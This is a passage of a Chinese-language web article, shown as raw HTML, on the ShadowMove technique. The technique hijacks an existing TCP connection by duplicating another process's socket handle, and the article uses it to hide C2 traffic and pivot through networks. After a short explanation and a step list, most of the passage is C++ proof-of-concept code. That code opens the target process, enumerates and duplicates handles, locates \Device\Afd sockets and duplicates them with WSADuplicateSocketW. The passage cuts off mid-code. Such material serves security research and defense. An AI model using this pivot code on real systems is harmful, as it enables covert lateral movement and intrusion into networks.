&#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">》,ShadowMove的基本思想是复用已建立的合法连接，从而在受感染的网络内横向移动。如上图所示，ShadowMove的工作分为三个主要步骤：首先，它复制合法客户端应用程序用来与服务器应用程序通信的套接字。其次，它使用复制的套接字在客户端和服务器之间的现有TCP会话中注入数据包。第三，服务器处理注入的数据包，并无意中保存和/或启动ShadowMove的新实例。通过以上步骤，攻击者会从客户端计算机秘密移动到服务器计算机。</span></p><p cid="n29" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">具体实现步骤：</span></p><pre spellcheck="false" lang="text" cid="n30" mdtype="fences" style="overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><p style="margin-bottom: 0px;line-height: 2em;"><span style="padding-right: 0.1px;font-size: 14px;">使用PROCESS_DUP_HANDLE权限打开所有者进程；<br/>每一个句柄为0x24（文件）类型；<br/>遍历句柄，找到\device\afd<br/>getpeername() 获取远程IP和远程端口号；<br/>调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构；<br/>创建重复的Socket；<br/>使用这个Socket；</span></p></pre><p cid="n31" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">实现代理能力，需要跳板服务器我们可控一个合法进行外连我们的主机。假设三台主机A,B,C 其中A可以访问B的某些特定公开服务，B可以访问C。我们想在A上通过B访问C的服务，只需要通过B创建一个与C的目标的连接，并将两个socket通信数据进行io copy，则可以完成代理逻辑的实现。</span></p><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">引用</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">ShadowMove套接字劫持技术，巧妙隐藏与C2的连接</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">一文中的代码实现；</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL) */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> _WINSOCK_DEPRECATED_NO_WARNINGS</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;winsock2.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;Windows.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdio.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">pragma</span> comment(lib,<span class="code-snippet__meta-string">&#34;WS2_32&#34;</span>)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Most of the code is adapted from <a href="https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp" target="_blank">https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp</a> */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> STATUS_INFO_LENGTH_MISMATCH 0xc0000004</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> SystemHandleInformation 16</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> ObjectNameInformation 1</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> MSG_END_OF_TRANSMISSION <span class="code-snippet__meta-string">&#34;\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84&#34;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> BUFSIZE 65536</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__title">NTSTATUS</span> <span class="code-snippet__params">(NTAPI * _NtQuerySystemInformation)</span><span class="code-snippet__params">(</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG SystemInformationClass,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PVOID SystemInformation,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG SystemInformationLength,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PULONG ReturnLength</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  )</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__title">NTSTATUS</span> <span class="code-snippet__params">(NTAPI * _NtDuplicateObject)</span><span class="code-snippet__params">(</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  HANDLE SourceProcessHandle,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  HANDLE SourceHandle,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  HANDLE TargetProcessHandle,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PHANDLE TargetHandle,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ACCESS_MASK DesiredAccess,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG Attributes,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG Options</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  )</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__title">NTSTATUS</span> <span class="code-snippet__params">(NTAPI * _NtQueryObject)</span><span class="code-snippet__params">(</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  HANDLE ObjectHandle,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG ObjectInformationClass,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PVOID ObjectInformation,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG ObjectInformationLength,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PULONG ReturnLength</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  )</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">SYSTEM_HANDLE</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  ULONG ProcessId;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  BYTE ObjectTypeNumber;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  BYTE Flags;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  USHORT Handle;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PVOID Object;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ACCESS_MASK GrantedAccess;</span></code><code><span class="code-snippet_outer">} SYSTEM_HANDLE, * PSYSTEM_HANDLE;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">SYSTEM_HANDLE_INFORMATION</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  ULONG HandleCount;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  SYSTEM_HANDLE Handles[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer">} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">UNICODE_STRING</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  USHORT Length;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  USHORT MaximumLength;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PWSTR Buffer;</span></code><code><span class="code-snippet_outer">} UNICODE_STRING, * PUNICODE_STRING;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">enum</span> _POOL_TYPE</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  NonPagedPool,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PagedPool,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  NonPagedPoolMustSucceed,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  DontUseThisType,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  NonPagedPoolCacheAligned,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PagedPoolCacheAligned,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  NonPagedPoolCacheAlignedMustS</span></code><code><span class="code-snippet_outer">} POOL_TYPE, * PPOOL_TYPE;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">OBJECT_NAME_INFORMATION</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  UNICODE_STRING Name;</span></code><code><span class="code-snippet_outer">} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">PVOID <span class="code-snippet__title">GetLibraryProcAddress</span><span class="code-snippet__params">( PSTR LibraryName, PSTR ProcName )</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span>(GetProcAddress( GetModuleHandleA( LibraryName ), ProcName ) );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">SOCKET <span class="code-snippet__title">findTargetSocket</span><span class="code-snippet__params">( DWORD dwProcessId, LPSTR dstIP )</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  HANDLE hProc;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  PSYSTEM_HANDLE_INFORMATION handleInfo;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  DWORD handleInfoSize = <span class="code-snippet__number">0x10000</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  NTSTATUS status;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  DWORD returnLength;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  WSAPROTOCOL_INFOW wsaProtocolInfo = { <span class="code-snippet__number">0</span> };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  SOCKET targetSocket;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Open target process with PROCESS_DUP_HANDLE rights */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  hProc = OpenProcess( PROCESS_DUP_HANDLE, FALSE, dwProcessId );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> ( !hProc )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;[!] Error: could not open the process!\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">exit</span>( <span class="code-snippet__number">-1</span> );</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;[+] Handle to process obtained!\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Find the functions */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetLibraryProcAddress( <span class="code-snippet__string">&#34;ntdll.dll&#34;</span>, <span class="code-snippet__string">&#34;NtQuerySystemInformation&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject) GetLibraryProcAddress( <span class="code-snippet__string">&#34;ntdll.dll&#34;</span>, <span class="code-snippet__string">&#34;NtDuplicateObject&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  _NtQueryObject NtQueryObject = (_NtQueryObject) GetLibraryProcAddress( <span class="code-snippet__string">&#34;ntdll.dll&#34;</span>, <span class="code-snippet__string">&#34;NtQueryObject&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Retrieve handles from the target process */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  handleInfo = (PSYSTEM_HANDLE_INFORMATION) <span class="code-snippet__built_in">malloc</span>( handleInfoSize );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">while</span> ( (status = NtQuerySystemInformation( SystemHandleInformation, handleInfo, handleInfoSize, <span class="code-snippet__literal">NULL</span> ) ) == STATUS_INFO_LENGTH_MISMATCH )</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    handleInfo = (PSYSTEM_HANDLE_INFORMATION) <span class="code-snippet__built_in">realloc</span>( handleInfo, handleInfoSize *= <span class="code-snippet__number">2</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;[+] Found [%d] handlers in PID %d\n============================\n&#34;</span>, handleInfo-&gt;HandleCount, dwProcessId );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Iterate */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> ( DWORD i = <span class="code-snippet__number">0</span>; i &lt; handleInfo-&gt;HandleCount; i++ )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Check if it is the desired type of handle */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( handleInfo-&gt;Handles[i].ObjectTypeNumber == <span class="code-snippet__number">0x24</span> )</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      SYSTEM_HANDLE handle = handleInfo-&gt;Handles[i];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      HANDLE dupHandle = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      POBJECT_NAME_INFORMATION objectNameInfo;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Dupplicate handle */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      NtDuplicateObject( hProc, (HANDLE) handle.Handle, GetCurrentProcess(), &amp;dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      objectNameInfo = (POBJECT_NAME_INFORMATION) <span class="code-snippet__built_in">malloc</span>( <span class="code-snippet__number">0x1000</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Get handle info */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      NtQueryObject( dupHandle, ObjectNameInformation, objectNameInfo, <span class="code-snippet__number">0x1000</span>, &amp;returnLength );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Narrow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2) */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( objectNameInfo-&gt;Name.Length == <span class="code-snippet__number">22</span> )</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;[-] Testing %d of %d\n&#34;</span>, i, handleInfo-&gt;HandleCount );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Check if it ends in &#34;Afd&#34; */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        LPWSTR needle = (LPWSTR) <span class="code-snippet__built_in">malloc</span>( <span class="code-snippet__number">8</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">memcpy</span>( needle, objectNameInfo-&gt;Name.Buffer + <span class="code-snippet__number">8</span>, <span class="code-snippet__number">6</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ( needle[<span class="code-snippet__number">0</span>] == <span class="code-snippet__string">&#39;A&#39;</span> &amp;&amp; needle[<span class="code-snippet__number">1</span>] == <span class="code-snippet__string">&#39;f&#39;</span> &amp;&amp; needle[<span class="code-snippet__number">2</span>] == <span class="code-snippet__string">&#39;d&#39;</span> )</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* We got a candidate */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\t[*] \\Device\\Afd found at %d!\n&#34;</span>, i );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Try to duplicate the socket */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          status = WSADuplicateSocketW( (SOCKET) dupHandle, GetCurrentProcessId(), &amp;wsaProtocolInfo );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span> ( status != <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">          {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">printf</span>( <span class="code-snippet__string">&#34;\t\t[X] Error duplicating socket!\n&#34;</span> );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">free</span>( needle );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">free</span>( objectNameInfo );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            CloseHandle( dupHandle );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* We got it? */</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          targetSocket = WSASocket( wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &amp;wsaProtocolInfo, <span class="code-snippet__number">0</span>, WSA_FLAG_OVERLAPPED );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span> ( targetSocket != INVALID_SOCKET )</span></code><code><span class="code-snippet_outer">          {</span></code><code><span class="code-snippet_outer">            <span 